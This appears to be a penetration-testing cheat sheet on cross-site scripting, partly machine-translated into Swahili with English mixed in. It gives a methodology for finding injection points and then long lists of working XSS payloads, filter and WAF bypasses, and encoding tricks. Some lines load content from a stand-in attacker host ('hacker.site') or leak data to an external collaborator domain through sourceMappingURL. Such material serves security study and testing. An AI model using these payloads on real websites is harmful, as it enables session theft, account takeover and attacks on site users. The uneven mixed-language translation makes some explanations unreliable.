XSS (Cross Site Scripting)

Ikiwa unavutiwa na kazi ya uhalifu wa mtandao na kujaribu kuvunja yasiyoweza kuvunjwa - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika).

Careers | stmcyber.com | penetration testingstmcyber.com

Methodology

1. Angalia ikiwa thamani yoyote unayodhibiti (parameta, njia, vichwa?, cookies?) inarudi katika HTML au inatumiwa na JS code.

2. Pata muktadha ambapo inarudi/inatumika.

3. Ikiwa inarudi

4. Angalia ni alama zipi unaweza kutumia na kulingana na hiyo, andaa payload:

5. Katika HTML safi:

6. Je, unaweza kuunda vitambulisho vipya vya HTML?

7. Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya javascript:?

8. Je, unaweza kupita ulinzi?

9. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (AngularJS, VueJS, Mavo...), unaweza kutumia Client Side Template Injection.

10. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia Dangling Markup - HTML scriptless injection?

11. Ndani ya vitambulisho vya HTML:

12. Je, unaweza kutoka kwenye muktadha wa HTML safi?

13. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?

14. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?

15. Je, unaweza kupita ulinzi?

16. Ndani ya JavaScript code:

17. Je, unaweza kukwepa <script> tag?

18. Je, unaweza kukwepa mfuatano na kutekeleza JS code tofauti?

19. Je, ingizo lako liko katika mfuatano wa template ``?

20. Je, unaweza kupita ulinzi?

21. Javascript function inayotekelezwa

22. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: ?callback=alert(1)

23. Ikiwa inatumiwa:

24. Unaweza kutumia DOM XSS, zingatia jinsi ingizo lako linadhibitiwa na ikiwa ingizo lako lililodhibitiwa linatumika na sink yoyote.

Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:

Debugging Client Side JS

Reflected values

Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni thamani inayodhibitiwa na wewe inayorudi kwenye ukurasa wa wavuti.

• Inarudi kwa kati: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia Reflected XSS.

• Iliyohifadhiwa na kurudi: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia Stored XSS.

• Inafikiwa kupitia JS: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia DOM XSS.

Contexts

Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni wapi ingizo lako linaporudi. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.

Raw HTML

Ikiwa ingizo lako linarudi kwenye HTML safi ukurasa utahitaji kutumia baadhi ya HTML tag ili kutekeleza JS code: <img , <iframe , <svg , <script ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia. Pia, kumbuka Client Side Template Injection.

Ndani ya sifa za vitambulisho vya HTML

Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:

1. Kutoa kutoka kwenye sifa na kutoka kwenye tag (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: "><img [...]

2. Ikiwa unaweza kutoa kutoka kwenye sifa lakini si kutoka kwenye tag (> imeandikwa au kufutwa), kulingana na tag unaweza kuunda tukio linalotekeleza JS code: " autofocus onfocus=alert(1) x="

3. Ikiwa huwezi kutoa kutoka kwenye sifa (" inandikwa au kufutwa), basi kulingana na sifa ipi thamani yako inarudi ikiwa unadhibiti thamani yote au sehemu tu utaweza kuitumia. Kwa mfano, ikiwa unadhibiti tukio kama onclick= utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki ya javascript: kutekeleza code isiyo na mipaka: href="javascript:alert(1)"

4. Ikiwa ingizo lako linarudi ndani ya "vitambulisho visivyoweza kutumika" unaweza kujaribu hila ya accesskey kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): " accesskey="x" onclick="alert(1)" x="

Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Ndani ya msimbo wa JavaScript

Katika kesi hii, ingizo lako linajitokeza kati ya <script> [...] </script> lebo za ukurasa wa HTML, ndani ya faili ya .js au ndani ya sifa ikitumia javascript: itifaki:

• Ikiwa linajitokeza kati ya <script> [...] </script> lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza </script> na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya </script> iliyoingizwa iko ndani ya msimbo wa HTML.

• Ikiwa linajitokeza ndani ya mfuatano wa JS na hila ya mwisho haifanyi kazi, unahitaji kutoka kwenye mfuatano, kutekeleza msimbo wako na kurekebisha msimbo wa JS (ikiwa kuna kosa lolote, halitaweza kutekelezwa):

• '-alert(1)-'

• ';-alert(1)//

• \';alert(1)//

• Ikiwa linajitokeza ndani ya maandiko ya kiolezo unaweza kuingiza maelekezo ya JS ukitumia sintaksia ya ${ ... }: var greetings = `Hello, ${alert(1)}`

• Unicode encode inafanya kazi kuandika msimbo wa javascript halali:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting inahusisha fursa ya kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa. Angalia ukurasa ufuatao kwa maelezo zaidi:

JS Hoisting

Javascript Function

Kurasa kadhaa za wavuti zina mwisho ambao zinakubali kama parameter jina la kazi ya kutekeleza. Mfano wa kawaida wa kuona katika mazingira halisi ni kitu kama: ?callback=callbackFunc.

Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni kubadilisha thamani ya param (kwa mfano kuwa 'Vulnerable') na kutazama kwenye console kwa makosa kama:

Iwapo ni hatari, unaweza kuwa na uwezo wa kuanzisha tahadhari kwa kutuma tu thamani: ?callback=alert(1). Hata hivyo, ni kawaida sana kwamba mwisho huu uta thibitisha maudhui ili kuruhusu herufi, nambari, nukta na viwango vya chini tu ([\w\._]).

Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili kufikia kipengee chochote katika DOM:

Baadhi ya kazi muhimu kwa hili:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to trigger Javascript functions directly: obj.sales.delOrders.

However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, kurasa nyingine katika chanzo sawa will have a DOM yenye kuvutia zaidi to perform more actions.

Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:

SOME - Same Origin Method Execution

DOM

There is JS code that is using unsafely some data controlled by an attacker like location.href. An attacker, could abuse this to execute arbitrary JS code.

DOM XSS

Universal XSS

These kind of XSS can be found popote. They not depend just on the client exploitation of a web application but on muktadha wowote. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, kusoma faili za kawaida in clients and servers, and more. Some mfano:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

When your input is reflected ndani ya ukurasa wa HTML or you can escape and inject HTML code in this context the kitu cha kwanza you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case. For this cases also keep in mind Client Side Template Injection. Note: A HTML comment can be closed using******** --> or ****--!>

In this case and if no black/whitelisting is used, you could use payloads like:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Ujanja wa urefu (XSS ndogo)

XSS ndogo zaidi kwa mazingira tofauti payload inaweza kupatikana hapa na hapa.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here.

Click XSS - Clickjacking

Ikiwa ili kutumia udhaifu unahitaji mtumiaji kubonyeza kiungo au fomu yenye data iliyojazwa awali unaweza kujaribu kudhulumu Clickjacking (ikiwa ukurasa una udhaifu).

Impossible - Dangling Markup

Ikiwa unafikiri tu kwamba haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS, unapaswa kuangalia Dangling Markup kwa sababu unaweza kutumia udhaifu bila kutekeleza msimbo wa JS.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Ikiwa uko ndani ya tag ya HTML, jambo la kwanza unaloweza kujaribu ni kutoroka kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika sehemu ya awali kutekeleza msimbo wa JS. Ikiwa huwezi kutoroka kutoka kwa tag, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Matukio ya mtindo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Ndani ya sifa

Hata kama huwezi kutoroka kutoka kwenye sifa (" inakodishwa au kufutwa), kulingana na sifa gani thamani yako inarejelewa ikiwa unadhibiti thamani yote au sehemu tu utaweza kuitumia vibaya. Kwa mfano, ikiwa unadhibiti tukio kama onclick= utaweza kufanya itekeleze msimbo wowote unapobofya. Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki javascript: kutekeleza msimbo wowote: href="javascript:alert(1)"

Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode

Herufi za HTML zilizokodishwa ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa wakati wa utekelezaji. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Rudi Nyuma </a>

Kumbuka kwamba aina yoyote ya HTML encode ni halali:

//HTML entities
'-alert(1)-'
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Kumbuka kwamba URL encode pia itafanya kazi:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Kupita ndani ya tukio kwa kutumia Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Mipango Maalum Ndani ya sifa

Hapa unaweza kutumia mipango javascript: au data: katika baadhi ya maeneo ili kutekeleza msimbo wa JS wa kiholela. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mahali ambapo unaweza kuingiza protokali hizi

Kwa ujumla protokali ya javascript: inaweza kutumika katika lebo yoyote inayokubali sifa ya href na katika zaidi ya lebo nyingi zinazokubali sifa ya src (lakini si <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Njia nyingine za kuficha

Katika kesi hii, hifadhidata ya HTML na hifadhidata ya Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Zaidi ya hayo, kuna njia nzuri nyingine kwa kesi hizi: Hata kama ingizo lako ndani ya javascript:... linapangwa kwa URL, litakuwa decoded kabla ya kutekelezwa. Hivyo, ikiwa unahitaji kutoroka kutoka kwa nyuzi kwa kutumia nukta moja na unaona kwamba linapangwa kwa URL, kumbuka kwamba haijalishi, litakuwa kimeeleweka kama nukta moja wakati wa wakati wa utekelezaji.

'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Kumbuka kwamba ikiwa unajaribu kutumia zote URLencode + HTMLencode kwa mpangilio wowote kuandika payload haitafanya kazi, lakini unaweza kuziunganisha ndani ya payload.

Kutumia Hex na Octal encode na javascript:

Unaweza kutumia Hex na Octal encode ndani ya sifa ya src ya iframe (angalau) kutangaza HTML tags za kutekeleza JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Ikiwa unaweza kuingiza URL yoyote katika tag ya <a href= isiyo na mipaka ambayo ina sifa za target="_blank" and rel="opener", angalia ukurasa ufuatao ili kutumia tabia hii:

Reverse Tab Nabbing

juu ya Kuepuka Wakati wa Wakati

Kwanza kabisa angalia ukurasa huu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kwa "on" event handlers zinazofaa. Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu njia zifuatazo za kuepuka:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS katika "Vitambulisho visivyoweza kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)

Kutoka hapa sasa inawezekana kutumia vibaya viingizo vilivyofichwa na:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Na katika meta tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

From here: Unaweza kutekeleza XSS payload ndani ya sifa iliyofichwa, mradi uweze kushawishi mhasiriwa kubonyeza mchanganyiko wa funguo. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni ALT+SHIFT+X na kwenye OS X ni CTRL+ALT+X. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya funguo ya ufikiaji. Hapa kuna vector:

<input type="hidden" accesskey="X" onclick="alert(1)">

Payload ya XSS itakuwa kama hii: " accesskey="x" onclick="alert(1)" x="

Kupita kwenye Orodha ya Mambo Yasiyokubalika

Hila kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii. Rudi kujifunza wapi unaweza kutumia:

• Uandishi wa HTML (michoro ya HTML)

• Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS): \u0061lert(1)

• Uandishi wa URL

• Uandishi wa Hex na Octal

• Uandishi wa data

Kupita kwa michoro ya HTML na sifa

Soma Kupita kwenye Orodha ya Mambo Yasiyokubalika ya sehemu ya awali.

Kupita kwa msimbo wa JavaScript

Soma Orodha ya Mambo Yasiyokubalika ya JavaScript ya sehemu ifuatayo.

CSS-Gadgets

Ikiwa umepata XSS katika sehemu ndogo sana ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua ili kuongeza uwezekano wa kiungo hicho kufanyika.

Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano

.test {display:block; color: blue; width: 100%}

na

#someid {top: 0; font-family: Tahoma;}

Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo

<a href="" id=someid class=test onclick=alert() a="">

Hila hii ilichukuliwa kutoka https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Kuingiza ndani ya msimbo wa JavaScript

Katika kesi hizi ingizo lako litakuwa limeakisiwa ndani ya msimbo wa JS wa faili ya .js au kati ya lebo za <script>...</script> au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya javascript:.

Kutoroka <script> tag

Ikiwa msimbo wako umeingizwa ndani ya <script> [...] var input = 'data iliyoakisiwa' [...] </script> unaweza kwa urahisi kutoroka kufunga lebo ya <script>:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.

Inside JS code

If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Ili kujenga nyuzi mbali na nukta moja na mbili, JS pia inakubali backticks ``. Hii inajulikana kama template literals kwani inaruhusu kuingiza maelezo ya JS kwa kutumia sintaksia ${ ... }. Hivyo, ikiwa unapata kuwa ingizo lako linatolewa ndani ya nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia ${ ... } kutekeleza kodhi ya JS isiyo na mipaka:

Hii inaweza kutumiwa vibaya kwa kutumia:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`

// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Utekelezaji wa msimbo uliokodishwa

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode Encode JS execution

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Mbinu za kupita orodha za mblacklist za JavaScript

Mifumo ya maneno

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Mikato maalum

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Mabadiliko ya nafasi ndani ya JS code

<TAB>
/**/

Maoni ya JavaScript (kutoka Maoni ya JavaScript hila)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Mstari mpya wa JavaScript (kutoka njia ya mstari mpya wa JavaScript trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript nafasi za wazi

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript ndani ya maoni

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bila mabano

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

• https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

• https://portswigger.net/research/javascript-without-parentheses-using-dommatrix

Kuita kazi isiyo na mipaka (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
